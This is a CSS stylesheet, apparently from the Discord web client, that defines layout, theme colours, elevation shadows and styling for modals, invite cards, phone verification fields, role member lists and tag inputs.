.theme-dark .background-opacity-medium .guildIcon-lQ0uiM { opacity: 0.7; }

.theme-dark .background-opacity-medium .button-3To2tQ { opacity: 0.9; }

.theme-dark .background-opacity-high .wrapper-35wsBm { background: rgba(47, 49, 54, 0.6); }

.theme-dark .overlay-unlocked .wrapper-35wsBm { background-color: var(--background-secondary); }

.theme-dark .overlay-unlocked .header-2BTCnc { text-shadow: none; }

.theme-dark .overlay-unlocked .button-3To2tQ, .theme-dark .overlay-unlocked .guildIcon-lQ0uiM { opacity: 1; }

.inviteDetailsContainer-2wtzjV { margin-right: 8px; display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; }

.clickable-1P8zp1 { cursor: pointer; }

.clickable-1P8zp1:hover { background-color: var(--background-secondary-alt); }

.guildChannelInfoContainer-1s1O6i { -webkit-box-align: center; align-items: center; }

.guildChannelInfoContainer-1s1O6i, .verticalContainer-l3jNY1 { display: flex; min-width: 0px; }

.verticalContainer-l3jNY1 { margin-left: -4px; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.footerContainer-10LIsN { margin-top: 12px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.button-26pYmv { padding-left: 20px; padding-right: 20px; height: 40px; flex-shrink: 0; }

.innerButton-hw66Ra { display: flex; -webkit-box-align: center; align-items: center; }

.buttonIcon-2tILL8 { margin-right: 4px; }

.eventDescription-YCVjXX { font-size: 14px; line-height: 18px; }

.channelDescription-3Chrvy { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.guildBadge-3k2w5H { margin-right: 4px; flex-shrink: 0; }

.guildName-1NOzt4 { min-width: 0px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.guildNameLinkable-2Rr73v { cursor: pointer; }

.guildNameLinkable-2Rr73v:hover { text-decoration: underline; }

.channelIcon-2ttkgB { margin-right: 4px; flex-shrink: 0; }

.channelInfoContainer-1e3r6z { margin-top: 4px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.channelInfoContainer-1e3r6z, .channelLocationLink-1sEXuj { display: flex; color: var(--header-secondary); }

.channelLocationLink-1sEXuj { cursor: pointer; }

.channelLocationLink-1sEXuj:hover { text-decoration: underline; }

.header-1mRqFv { padding-top: 24px; padding-left: 16px; padding-right: 8px; }

.description-15wRtX, .title-145BjA { margin-top: 16px; }

.guildBadge-3_9Lsp { margin-right: 4px; }

.row-SVDk8K { margin-top: 8px; margin-bottom: 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; color: var(--text-muted); }

.guildIcon-3b-19u { border-radius: 4px; }

.body-1lYTJa { padding: 8px 8px 24px 16px; }

.channelIcon-1zNoa9, .icon-VpMf1J { margin-right: 8px; }

.channelIcon-1zNoa9 { fill: var(--header-primary); }

.clickable-3m_Ztk { display: flex; cursor: pointer; }

.linkText-1Fwlzu:hover { text-decoration: underline; }

.cursorPointer-1Riil- { cursor: pointer; }

.channelLocation-OxE3BP { display: flex; cursor: pointer; }

.channelLocation-OxE3BP:hover { text-decoration: underline; }

.locationText-oKdXl4 { color: var(--header-secondary); }

.externalLocation-3scdl5 { display: flex; cursor: auto; user-select: text; }

.container-32SwwA { height: 100%; }

.emptyContainer-1jAy2j { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; height: 100%; }

.title-3Xl_KP { padding: 32px 0px 8px; }

.errorTitle-1BXZNQ { padding: 32px 24px; text-align: center; }

.icon-39q3S4 { color: var(--interactive-active); }

.circle-1d42tA { height: 64px; width: 64px; }

.circle-1d42tA, .listRowCircle-1TAhJ7 { background-color: var(--background-tertiary); border-radius: 50%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.listRowCircle-1TAhJ7 { height: 40px; width: 40px; }

.listRow-2LPBgc { display: flex; -webkit-box-align: center; align-items: center; line-height: 30px; padding: 8px; color: var(--text-normal); border-radius: 4px; margin: 0px 0px 1px 8px; }

.interactiveRow-3pCpPS { cursor: pointer; }

.interactiveRow-3pCpPS:hover { background-color: var(--background-modifier-hover); }

.listName-1r8v-e { font-weight: 500; font-size: 16px; line-height: 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.listAvatar-1ElwhV { margin-right: 10px; flex-shrink: 0; }

.listDiscriminator-21VMbb { font-size: 12px; opacity: 0.6; }

.spinner-3tVPMk { width: 100%; height: 100%; }

.listScroller-3TMaNK { padding: 8px 0px; }

.selected-_MBCkv { color: var(--interactive-active); background-color: var(--background-modifier-selected); }

.darkElevationLow-2CR-wO { box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.darkElevationHigh-3atPWj { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.darkElevationBorderLow-2_RpRZ { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.darkElevationBorderHigh-eY3zE_ { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.lightElevationLow-336Ql0 { box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.lightElevationHigh-30hdii { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.lightElevationBorderLow-oPAJJ0 { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.lightElevationBorderHigh-1GVmu6 { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .elevationLow-126AxN { box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.theme-light .elevationHigh-1PneE4 { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .elevationBorderLow-2H_Rsq { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.theme-light .elevationBorderHigh-2_BGCd { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-dark .elevationLow-126AxN { box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.theme-dark .elevationHigh-1PneE4 { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .elevationBorderLow-2H_Rsq { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.theme-dark .elevationBorderHigh-2_BGCd { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.container-2VW0UT { padding: 10px 10px 10px 16px; overflow: hidden; border-radius: 5px; }

.button-1x2ahC { margin-left: 10px; }

.resetButton-1zF_G8 { padding-left: 0px; padding-right: 0px; }

.message-c9-HCF { font-weight: 500; font-size: 16px; line-height: 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.theme-light .notice-2mjo_8 { background-color: hsla(180,calc(var(--saturation-factor, 1)*7.7%),97.5%,0.95); }

.theme-dark .notice-2mjo_8 { background: rgba(32, 34, 37, 0.95); }

.theme-dark .message-c9-HCF { color: rgb(255, 255, 255); }

.formItem-2DUsqN { width: 100%; padding: 0px; margin-bottom: 24px; }

.formItem-2DUsqN:last-child { margin-bottom: 0px; }

.settingsFormItem-103g1I { width: 100%; margin-bottom: 16px; border-radius: 8px; padding: 16px; background-color: var(--background-secondary); }

.wrapperBase-x09xGp { border-radius: 4px; padding: 8px 12px; }

.formFieldWrapper-malor5 { background-color: var(--background-secondary); }

.formFieldWrapper-malor5, .settingsFormFieldWrapper-3Y77Pr { border: 1px solid var(--background-tertiary); }

.settingsFormFieldWrapper-3Y77Pr { background-color: var(--background-secondary-alt); }

.verificationIcon-FinFJj { color: var(--interactive-normal); margin-right: 8px; }

.verificationCheckmark-1coNFS { color: var(--text-positive); margin-right: 8px; width: 16px; height: 16px; }

.termsRow-2dS5nm { display: flex; -webkit-box-align: start; align-items: flex-start; padding: 16px 4px; border-bottom: 1px solid var(--background-modifier-accent); }

.termsRow-2dS5nm:first-child { padding-top: 8px; }

.termsRow-2dS5nm:last-child { border-bottom: none; padding-bottom: 8px; }

.termsRowContent-24S2LO { padding-left: 12px; white-space: pre-wrap; width: calc(100% - 12px); overflow-wrap: break-word; }

.checkbox-BXy2rz { margin-top: 16px; cursor: pointer; }

.checkboxText-20IXco { font-weight: 500; }

.formItemDescription-1RUg6B { margin-bottom: 8px; }

.verifyConfirmText-c_pBxg { box-sizing: border-box; height: 32px; padding: 8px; }

.settingsLink-uq19Vg { margin-top: 8px; }

.radioItem-1lWDqB { border: 1px solid var(--background-modifier-accent); }

.card-3veb4J, .spacing-1QIWht { }

.card-3veb4J { padding: 10px; }

.error-3C5PHt { }

.warning-1WIX3i { color: rgb(255, 255, 255); }

.phoneField-38N1bJ { border-radius: 5px; padding: 2px; position: relative; background-color: var(--background-secondary); border: 1px solid var(--deprecated-text-input-border); }

.phoneField-38N1bJ .countryButton-3xq3Ts { height: 32px; padding-left: 8px; padding-right: 8px; border-radius: 3px; margin: 4px; }

.phoneField-38N1bJ .countryButtonInner-3LEFZi { display: flex; -webkit-box-align: center; align-items: center; }

.phoneField-38N1bJ .countryCodeContainer-2RZ4jt { padding-left: 4px; padding-right: 4px; }

.phoneField-38N1bJ .plusSign-15Cgdh { margin-right: 2px; color: rgb(255, 255, 255); }

.phoneField-38N1bJ .countryCode-2TeNMX { text-align: center; color: rgb(255, 255, 255); }

.phoneField-38N1bJ .phoneFieldExpand-2DzY5G { stroke: rgb(255, 255, 255); }

.phoneField-38N1bJ .inputField-aNPXsv { background-color: var(--background-secondary); color: var(--text-normal); box-sizing: border-box; height: 40px; padding: 10px; border: none; font-size: 16px; -webkit-box-flex: 1; flex-grow: 1; }

.phoneField-38N1bJ .sendButton-1Gsc4p { margin-right: 4px; }

.phoneVerificationModal-OzcDc3 { position: relative; width: 440px; min-height: 252px; padding: 16px; }

.phoneVerificationModal-OzcDc3 .animationContainer-WJHr_z { position: absolute; top: -150px; left: 130px; right: 130px; }

.phoneVerificationModal-OzcDc3 .title-3qNdae { color: var(--header-primary); font-weight: 700; font-size: 20px; margin-top: auto; padding-top: 80px; }

.phoneVerificationModal-OzcDc3 .description-3JBgvQ { color: var(--text-normal); font-size: 16px; text-align: center; line-height: 20px; }

.phoneVerificationModal-OzcDc3 .description-3JBgvQ.error-1E-Ycl { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.phoneVerificationModal-OzcDc3 .field-wKpjTl { align-self: stretch; }

.container-19nk2r { padding: 0px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; width: 720px; height: auto; border-radius: 8px; }

.guildSidebar-2OCzWB { border-top-left-radius: 8px; border-bottom-left-radius: 8px; box-sizing: border-box; background-color: var(--background-secondary); padding: 24px; width: 256px; flex-shrink: 0; }

.guildDescription-122n1Y { white-space: pre-wrap; }

.guildIcon-38Zs0M { border-radius: 8px; margin: auto auto 8px; background-color: var(--background-secondary); }

.guildName-2TIjNT { margin: 16px 0px; }

.emojisContainer-19mZ0z { display: flex; flex-wrap: wrap; -webkit-box-align: center; align-items: center; }

.emoji-3C344l { margin-right: 8px; object-fit: contain; background-position: 50% center; background-repeat: no-repeat; }

.emoji-3C344l, .onlineCount-27XuPk { margin-bottom: 8px; }

.dot-14Jva_ { border-radius: 50%; width: 8px; height: 8px; margin-right: 8px; }

.dotOnline-2wEpt_ { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.dotMembers-1XEUE5 { background-color: var(--text-muted); }

.divider-2FB3wK { margin: 24px 0px; border-top: none; border-right: none; border-left: none; border-image: initial; border-bottom: 1px solid var(--background-modifier-accent); }

.modal-f02hVt { width: 100%; overflow-x: hidden; border-top-right-radius: 8px; border-bottom-right-radius: 8px; background-color: var(--background-primary); }

.modal-f02hVt, .sequencer-GH6NxK { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.sequencer-GH6NxK { min-height: 100%; }

.modalContent-1iyOR2::-webkit-scrollbar-track-piece:start { margin-top: 4px; }

.modalContent-1iyOR2::-webkit-scrollbar-track-piece:end { margin-bottom: 4px; }

.content-3wJ8G6 { padding: 24px 8px; text-align: center; }

.centerContent-3pbrOl { -webkit-box-pack: center; justify-content: center; }

.closeButton-1aXUE8 { position: absolute; top: 8px; right: 8px; z-index: 2; }

.applicationIcon-1_YMdt { width: 88px; }

.animationAndSparklesContainer-MGS9s5 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; height: 80px; }

.sparkleIcon-2uxoYp { height: 12px; width: 12px; }

.sparkleTop-qBeDaK { align-self: flex-start; margin-right: auto; }

.sparkleBottom-1AUcMi { align-self: flex-end; margin-left: auto; }

.animation-vamXOL { height: 56px; width: 56px; margin-left: 4px; margin-top: 12px; }

.header-3WG5kX { margin: 8px 0px; }

.verificationForm-lhyAxu { text-align: initial; }

.footer-1JuRYY { background-color: var(--background-secondary); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-flex: 0; flex: 0 0 auto; }

.submitButton-YEItfy { margin-left: 12px; }

.formItem-LXNO4Q { text-align: initial; margin-bottom: 24px; }

.resendButton-3WkctP { margin: 24px auto; }

.confirmation-2zE9ir { max-width: 440px; box-shadow: var(--elevation-high); text-align: center; }

.confirmationContent-1LS30- { padding: 24px 24px 0px; }

.confirmationButtonRow-2J_xOl { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; background-color: var(--background-secondary); margin-top: 24px; padding: 12px 8px; width: 100%; box-sizing: border-box; border-radius: 0px 0px 4px 4px; }

.confirmationButton-1s3fqt { width: 100%; margin: 4px; }

.confirmationButtonColumn-X0tXMk { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin: auto; padding: 12px 12px 20px; }

.notice-3UEAq4 { pointer-events: all; position: absolute; bottom: 0px; left: 0px; max-width: 740px; margin: 0px auto 16px; }

.rejectionReasonLabel-3CSyvn { margin-right: 4px; }

.rejectionReason-31OKzD { color: var(--text-warning); }

.theme-dark .footer-1JuRYY, .theme-light .footer-1JuRYY { background-color: var(--background-primary); box-shadow: inset 0 1px 0 var(--background-modifier-accent); }

.card-2X8BSG { background-color: var(--background-secondary); padding: 16px 16px 12px; border-radius: 8px; border: 1px solid var(--background-secondary); transition: border-color 0.5s ease 0s; cursor: pointer; }

.card-2X8BSG:hover { background-color: var(--background-secondary-alt); }

.lurking-2ByMMW { cursor: default; }

.joined-XU9KzL { border-color: var(--status-positive-background); }

.inline-2Pzh-K { display: flex; -webkit-box-align: center; align-items: center; overflow: hidden; }

.channelContainer-2FPdlu { color: var(--header-secondary); }

.channelContainerEnabled-17A6HD { cursor: pointer; }

.channelContainerEnabled-17A6HD:hover { color: var(--interactive-active); text-decoration: underline; }

.channelContainerDisabled-1QFTaZ { cursor: not-allowed; }

.live-LRr8AI { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); margin-bottom: 16px; }

.icon-TlM5Qv { min-width: 20px; }

.label-RijbwX { margin-left: 8px; margin-right: 8px; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.spacing-AnM1h6 { margin-top: 16px; }

.dot-3pCC9C { border-radius: 50%; background-color: hsl(359,calc(var(--saturation-factor, 1)*83%),67.6%); width: 8px; height: 8px; }

.divider-12kAYT { height: 1px; background-color: var(--background-modifier-accent); border: none; margin: 16px -16px 12px; }

.footer-2_JNjE { -webkit-box-pack: justify; justify-content: space-between; }

.channelLocation-3IEkjC { cursor: pointer; }

.channelLocation-3IEkjC:hover { text-decoration: underline; }

.externalLocation-3cd9B2 { display: flex; cursor: auto; user-select: text; }

.content-1LZjhE { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 24px; }

.previewCard-rIfigD { width: 100%; margin-bottom: 24px; }

.inline-KtQmM1 { display: flex; -webkit-box-align: center; align-items: center; }

.header-1m9oLK { margin-top: 8px; text-align: center; max-width: 400px; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.icon-1T3uAr { background-color: var(--background-tertiary); color: var(--interactive-normal); padding: 8px; border-radius: 50%; margin-bottom: 24px; }

.privacyLevel-hw_hE- { margin: 0px 4px; }

.buttons-1J7oBP { align-self: stretch; }

.button-PssSCw { -webkit-box-flex: 1; flex-grow: 1; }

.publicIcon-3aARgm { margin-right: 4px; }

.spacing-1oSnpS { margin-right: 8px; }

.verticalSpacing-3BS4nz { margin-top: 24px; }

.errorMessage-3fIPIZ { margin-top: 8px; }

.container-1y9Q_6 { min-width: 100%; -webkit-box-orient: horizontal; flex-direction: row; }

.container-1y9Q_6, .stepContainer-7JROLx { display: flex; -webkit-box-direction: normal; }

.stepContainer-7JROLx { width: 100%; -webkit-box-orient: vertical; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: start; align-items: flex-start; }

.stepContainer-7JROLx + .stepContainer-7JROLx { margin-left: 8px; }

.progressBar-37uLmT { margin-bottom: 8px; height: 4px; width: 100%; background-color: var(--text-muted); border-radius: 4px; }

.selectedProgressBar-1Z4WVU { background-color: var(--text-brand); }

.container-2XeR5Z { flex-shrink: 0; border-radius: 4px; overflow: hidden; background-color: var(--background-tertiary); }

.container-2XeR5Z, .inner-3ErfOT { box-sizing: border-box; display: flex; }

.inner-3ErfOT { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-flow: row wrap; padding: 1px; }

.disabled-jLAJq8 .inner-3ErfOT { opacity: 0.3; }

.input-1Rv96N { box-sizing: border-box; background: transparent; border: none; resize: none; -webkit-box-flex: 1; flex: 1 1 0%; min-width: 48px; margin: 1px; appearance: none; color: var(--text-normal); }

.input-1Rv96N::-webkit-input-placeholder { color: var(--text-muted); opacity: 1; }

.disabled-jLAJq8 .input-1Rv96N { cursor: not-allowed; }

.tag-2gHSR7 { box-sizing: border-box; border-radius: 2px; text-align: center; margin: 1px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; cursor: pointer; transition: none 0s ease 0s; background-color: var(--background-primary); color: var(--text-normal); }

.tag-2gHSR7:hover { text-decoration: none; opacity: 0.9; }

.small-1lPjda .input-1Rv96N, .small-1lPjda .tag-2gHSR7 { font-size: 14px; font-weight: 500; line-height: 20px; height: 20px; padding: 0px 4px; }

.medium-2-DE5M .input-1Rv96N, .medium-2-DE5M .tag-2gHSR7 { font-size: 16px; line-height: 32px; height: 30px; padding: 0px 8px; }

.large-3dt_qC .input-1Rv96N, .large-3dt_qC .tag-2gHSR7 { font-size: 20px; line-height: 40px; height: 38px; padding: 0px 16px; }

.richTag-1rBBz8 { background-color: var(--background-secondary-alt); }

.medium-2-DE5M .richTag-1rBBz8, .medium-2-DE5M .richTagInput-1GjAv7 { margin: 3px 0px 3px 3px; height: 26px; line-height: 24px; }

.large-3dt_qC .richTag-1rBBz8, .large-3dt_qC .richTagInput-1GjAv7 { margin: 4px 0px 4px 4px; height: 32px; line-height: 30px; }

.tagLabel-1Kxtxb { padding-left: 6px; }

.tagRoleColor-3ieGvq { height: 8px; width: 8px; border-radius: 50%; }

.close-3WVtCL { width: 12px; height: 12px; margin-left: 4px; }

.close-3WVtCL, .iconLayout-1WxHy4 { box-sizing: border-box; }

.iconLayout-1WxHy4 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; width: 22px; height: 22px; cursor: text; }

.medium-2-DE5M.iconLayout-1WxHy4 { width: 32px; height: 32px; }

.large-3dt_qC.iconLayout-1WxHy4 { width: 40px; height: 40px; }

.iconContainer-O4O2CN { box-sizing: border-box; position: relative; width: 16px; height: 16px; }

.medium-2-DE5M .iconContainer-O4O2CN { width: 20px; height: 20px; }

.large-3dt_qC .iconContainer-O4O2CN { width: 24px; height: 24px; }

.icon-3cZ1F_ { box-sizing: border-box; position: absolute; top: 0px; left: 0px; opacity: 0; width: 100%; height: 100%; z-index: 2; transition: transform 0.1s ease-out 0s, opacity 0.1s ease-out 0s, -webkit-transform 0.1s ease-out 0s; transform: rotate(90deg); color: var(--text-muted); }

.icon-3cZ1F_.visible-3V0mGj { transform: rotate(0deg); opacity: 1; }

.clear-1pMieT { box-sizing: border-box; cursor: pointer; }

.clear-1pMieT .icon-3cZ1F_ { color: var(--interactive-normal); }

.clear-1pMieT.iconLayout-1WxHy4:hover .icon-3cZ1F_ { color: var(--interactive-hover); }

.image-3AuVz1 { background-position: 50% center; background-repeat: no-repeat; background-size: cover; }

.theme-dark .image-3AuVz1 { background-image: url("https://discord.com/assets/03e1ac95e0dd757f16dc200bf6af9ba3.svg"); }

.theme-light .image-3AuVz1 { background-image: url("https://discord.com/assets/1416806a4bfc6697e12807cd303914b2.svg"); }

.searchBar-1FaHXw { background-color: var(--background-secondary); border: 1px solid var(--background-tertiary); margin-bottom: 8px; }

.modalRoot-2m5tXx { height: 478px; }

.button-3dsb8k { margin-left: 8px; }

.header-2TZe19 { margin-top: 16px; }

.headerSubtitle-2pkm7y { display: flex; -webkit-box-align: center; align-items: center; }

.headerSubtitleIcon-35rx5e { padding-right: 4px; }

.content-3JiERV { overflow: hidden; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex-grow: 1; height: 100%; }

.searchBox-2U8-yR { padding: 0px 16px 12px; }

.roleMemberList-3mYYYB { margin: 0px; }

.addMemberRow-3-w-9X { margin-left: 12px; margin-right: 4px; padding: 8px 6px; border-radius: 4px; cursor: pointer; }

.addMemberRow-3-w-9X.selectedRow-1QP7qb { background-color: var(--background-modifier-selected); }

.checkboxLabel-3ZBKMU { padding-left: 8px; }

.rowHeight-5gIjky { height: 24px; }

.rowLabel-2Ttg81 { margin-left: 8px; margin-right: 4px; }

.rowTitle-21Ny_7 { font-weight: 500; }

.rowLabelSubText-35LqC- { margin-left: 4px; -webkit-box-flex: 1; flex: 1 1 0%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.sectionTitle-2PYny6 { color: var(--text-normal); padding-top: 8px; padding-left: 16px; }

.noResultIcon-1bkvDZ { margin-bottom: 16px; width: 85px; height: 85px; }

.description-2YaX4y { margin-bottom: 24px; padding: 0px 16px; }

.theme-dark .scrollSeparator-2w4X2o { box-shadow: rgba(24, 25, 28, 0.3) 0px 1px 0px 0px, rgba(24, 25, 28, 0.3) 0px 1px 2px 0px; }

.theme-light .scrollSeparator-2w4X2o { box-shadow: rgba(185, 187, 190, 0.3) 0px 1px 0px 0px; }

.modalRoot-3CFA4t { height: 478px; }

.header-17bQeH { margin-top: 16px; }

.headerSubtitle-1rLiK5 { display: flex; -webkit-box-align: center; align-items: center; }

.headerSubtitleIcon-1u5vaJ { padding-right: 4px; }

.error-1xqs3z { margin-left: 16px; margin-right: 16px; }

.container-jSV3OF { display: flex; border-radius: 4px; font-weight: 500; padding: 8px; width: 100%; box-sizing: border-box; }

.fontSize14-1tusjs { font-size: 14px; line-height: 18px; }

.fontSize16-2ItDSF { font-size: 16px; line-height: 20px; }

.icon-1jlFSw { width: 24px; height: 24px; flex-shrink: 0; }

.iconDiv-2PKiIF { display: flex; }

.text-2J5crT { margin-left: 10px; -webkit-box-flex: 1; flex: 1 1 0%; align-self: center; }

.text-2J5crT p { margin: 0px; }

.text-2J5crT p ~ p { margin-top: 8px; }

.positive-1TmKXB { background: var(--info-positive-background); border: 1px solid var(--info-positive-foreground); color: var(--info-positive-text); }

.positive-1TmKXB .icon-1jlFSw { color: var(--info-positive-foreground); }

.warning-3C2pOH { background: var(--info-warning-background); border: 1px solid var(--info-warning-foreground); color: var(--info-warning-text); }

.warning-3C2pOH .icon-1jlFSw { color: var(--info-warning-foreground); }

.info-1rdF5A { background: var(--info-help-background); border: 1px solid var(--info-help-foreground); color: var(--info-help-text); }

.info-1rdF5A .icon-1jlFSw { color: var(--info-help-foreground); }

.error-c-8XMu { background: var(--info-danger-background); border: 1px solid var(--info-danger-foreground); color: var(--info-danger-text); }

.error-c-8XMu .icon-1jlFSw { color: var(--info-danger-foreground); }

.modal-2VIBV8 { width: 440px; }

.modalContent-N6GsWH { max-height: 480px; }

.footer-1oJbSA { padding: 20px; }

.description-zfMhzy, .name-3ChUIO, .type-3aEJ96 { }

.cloneInfo-1OC_Ee { }

.icon-3pNFyS { opacity: 0.6; margin-right: 6px; fill: rgb(185, 187, 190); }

.error-chiOuv { }

.header-3nFfBB { margin-top: 16px; margin-bottom: 16px; }

.headerSubtitle-KRA6bs { display: flex; -webkit-box-align: center; align-items: center; }

.headerSubtitleIcon-1fMNRd { padding-right: 4px; }

.closeButton-20eBet { position: absolute; top: -4px; right: 8px; }

.modalTitle-1Ymoer { font-weight: 700; }

.sectionTitle-39SH0_ { color: var(--text-normal); margin-bottom: 8px; }

.clone-14QU8p { opacity: 0.6; }

.permissionsTitle-2yG7gU { }

.foreground-SshK2E { opacity: 1; }

.background-6FOJIb { opacity: 0.6; }

.inputWrapper-24Isu7 { position: relative; }

.inputInner-2UxuB6 { padding-left: 28px; }

.inputPrefix-1gzNds { position: absolute; top: 12px; left: 8px; color: var(--text-normal); }

.switchIcon-_4Efyi { position: relative; top: 2px; width: 16px; height: 16px; display: inline-block; opacity: 0.6; margin-right: 3px; }

.channelTypeDescription-7YNNIr, .storeChannelOptionSelector-2rFIBx { margin-bottom: 20px; }

.username-2PcCVD { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-left: 8px; font-size: 16px; line-height: 20px; }

.emptyRoles-39tqQo { margin-top: 16px; margin-bottom: 16px; }

.owner-2uUH68 { margin-top: 8px; }

.addMembersContainer-8K9nhE { height: 380px; overflow: hidden; padding: 0px 0px 0px 8px; }

.addMemberError-1Rvepg { padding-left: 8px; padding-right: 8px; }

.createError-1820x- { margin: 16px; }

.theme-dark .cloneInfo-1OC_Ee strong, .theme-dark .subtitle-3csUrC { color: rgb(185, 187, 190); }

.theme-light .cloneInfo-1OC_Ee strong { color: rgb(54, 57, 63); }

.theme-light .subtitle-3csUrC { color: rgb(114, 118, 125); }

.radioText-3nuXCv { font-weight: 500; }

.container-EvNTcn { margin-top: 8px; -webkit-box-orient: vertical; flex-direction: column; background-color: var(--background-secondary); border-radius: 4px; }

.container-EvNTcn, .content-110e5j { display: flex; -webkit-box-direction: normal; }

.content-110e5j { padding: 12px; -webkit-box-orient: horizontal; flex-direction: row; border-bottom: 1px solid var(--background-modifier-accent); }

.textContainer-1bFwfq { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.descriptionText-cTNHTy { margin: 8px 0px; }

.image-16iU5q { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.inlineText-2HwnDn { display: inline; margin: 0px 2px; }

.footer-1QxFat { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; padding: 12px; }

.button-1FskqI { padding: 0px 12px; }

.container-2Q6XUL { margin-top: 24px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.header-1WK8ry, .text-Fkga4g { text-align: center; }

.text-Fkga4g { margin-top: 8px; }

.options-uzJjBH { margin-top: 24px; }

.channelOption-2AbTje { display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; }

.optionText-1EbFWX { margin-right: 8px; margin-left: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.channelOptionIcon-B526WF { flex-shrink: 0; display: block; }

.content-3Fb-7l { padding-top: 24px; }

.channelName-32U9u8, .inline-1cYkS5 { display: inline; }

.channelName-32U9u8 { color: var(--header-primary); }

.icon-UHpqd_ { margin: -4px 4px; display: inline; }

.locationIcon-1GVB_X { margin: -4px 4px -4px 2px; color: var(--header-primary); }

.textContainer-34_7tE { padding-top: 24px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.subheader-1G5jWY { margin: 8px 0px 16px; text-align: center; }

.previewCard-2AKKVB { cursor: default; }

.theme-dark .previewCard-2AKKVB { background-color: var(--background-floating); border: 1px solid var(--background-floating); }

.blockedUsersContainer-nHc9yx { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.form-2LI8_J { align-self: stretch; }

.formItem-2XYqOV { width: 100%; margin-top: 24px; }

.topicFormItem-2oV_OH { width: 100%; margin-bottom: 16px; }

.textInput-Qjzn11 { background-color: var(--background-secondary); border-radius: 4px; margin-bottom: 8px; }

.cancelButton-311KHz { margin-right: 8px; }

.buttonsContainer-313wM0 { width: 100%; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.speakerHint-qNz4ai { margin-top: 8px; }

